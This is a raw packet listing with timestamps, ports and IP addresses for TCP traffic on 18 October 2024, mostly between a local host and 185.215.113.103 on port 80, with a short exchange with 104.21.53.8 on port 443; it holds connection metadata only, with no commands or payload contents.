Oct 18, 2024 15:04:54.548857927 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.548873901 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.548880100 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.548880100 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.548892021 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.548909903 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.548918009 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.548962116 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.548978090 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.548984051 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.549027920 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.549135923 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.549175978 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.549191952 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.549232006 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.549268007 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.549283981 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.549299002 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.549314976 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.549324036 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.549350977 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.549388885 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.549403906 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.549418926 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.549438000 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.549441099 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.549467087 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.549479008 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.549494982 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.549510956 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.549535990 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.549554110 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.550056934 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.550091028 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.550116062 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.550153017 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.550168991 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.550192118 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.550192118 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.550379038 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.550394058 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.550426960 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.550518990 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.550584078 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.550599098 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.550617933 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.550658941 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.550702095 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.550712109 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.550725937 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.550734997 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.550807953 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.550807953 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.550812960 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.550831079 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.550873995 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.550889015 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.550904989 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.550904989 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.550925016 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.550942898 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.550942898 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.551470995 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.551525116 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.551541090 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.551583052 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.551599979 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.551603079 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.551619053 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.551634073 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.551651001 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.551677942 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.551707029 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.551740885 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.551755905 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.551772118 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.551789045 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.551826000 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.551829100 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.551829100 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.551841021 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.551856995 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.551898003 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.606534004 CEST	50045	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:54.606586933 CEST	443	50045	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:54.606678963 CEST	50045	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:54.606965065 CEST	50045	443	192.168.2.4	104.21.53.8
Oct 18, 2024 15:04:54.606983900 CEST	443	50045	104.21.53.8	192.168.2.4
Oct 18, 2024 15:04:54.676517963 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.676534891 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.676559925 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.676577091 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.676592112 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.676609993 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.676634073 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.676666975 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.676666975 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.676714897 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.676729918 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.676755905 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.676770926 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.676789999 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.676798105 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.676812887 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.676822901 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.676831961 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.676891088 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.676911116 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.676925898 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.676944971 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.676986933 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.676986933 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.677059889 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.677086115 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.677100897 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.677135944 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.677165031 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.677181005 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.677248955 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.677272081 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.677288055 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.677340984 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.677370071 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.677383900 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.677417040 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.702872992 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.702887058 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.702965021 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.703125954 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.703141928 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.703159094 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.703175068 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.703206062 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.703206062 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.703304052 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.703350067 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.703363895 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.703367949 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.703408957 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.703449965 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.703464031 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.703583002 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.703588963 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.703665018 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.703680992 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.703696966 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.703713894 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.703720093 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.703793049 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.703809023 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.703831911 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.703844070 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.703844070 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.703850031 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.703866959 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.703896046 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.703939915 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.703953028 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.703964949 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.703980923 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.704065084 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.704072952 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.704092979 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.704106092 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.704148054 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.704148054 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.704195976 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.704210997 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.704227924 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.704242945 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.704258919 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.704274893 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.704288960 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.704319954 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.704334974 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.704350948 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.704369068 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.704396009 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.704396009 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.704427004 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.704497099 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.704505920 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.704521894 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.704550982 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.704566956 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.704627991 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.704627991 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.704745054 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.704763889 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.704782009 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.704807997 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.704822063 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.704838037 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.704852104 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.704852104 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.704854012 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.704931974 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.705034971 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.705070972 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.705086946 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.705105066 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.705126047 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.705127954 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.705132008 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.705148935 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.705164909 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.705203056 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.705203056 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.705327034 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.707892895 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.707920074 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.707935095 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.707952023 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.707989931 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.708005905 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.708009005 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.708023071 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.708039999 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.708060980 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.708081007 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.708087921 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.708096027 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.708116055 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.708161116 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.708175898 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.708188057 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.708193064 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.708210945 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.708231926 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.708233118 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.708233118 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.708249092 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.708265066 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.708323002 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.708323002 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.708580017 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.708611965 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.708627939 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.708729982 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.708739042 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.708782911 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.708817005 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.708878040 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.708893061 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.708908081 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.708924055 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.708939075 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.708956957 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.708961964 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.708961964 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.708975077 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.708987951 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.709053040 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.709160089 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.709264994 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.709280014 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.709295988 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.709321022 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.709321022 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.709321976 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.709338903 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.709353924 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.709371090 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.709373951 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.709388018 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.709403038 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.709405899 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.709419966 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.709435940 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.709439993 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.709461927 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.709502935 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.709502935 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.709706068 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.709736109 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.709750891 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.709804058 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.709820032 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.709836006 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.709850073 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.709851027 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.709850073 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.709871054 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.709888935 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.709919930 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.709919930 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.710027933 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.710043907 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.710058928 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.710082054 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.710097075 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.710108042 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.710108042 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.710114002 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.710131884 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.710138083 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.710148096 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.710165024 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.710210085 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.710210085 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.710529089 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.710585117 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.710608959 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.710634947 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.710652113 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.710668087 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.710680008 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.710680008 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.710685015 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.710716963 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.710736036 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.710752964 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.710771084 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.710810900 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.710810900 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.710866928 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.710882902 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.710899115 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.710915089 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.710930109 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.710944891 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.710948944 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.710961103 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.710969925 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.710988998 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.710992098 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.711007118 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.711024046 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.711085081 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.711178064 CEST	50042	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:54.796379089 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.796423912 CEST	80	50042	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:54.796438932 CEST	80	50042	185.215.113.103	192.168.2.4
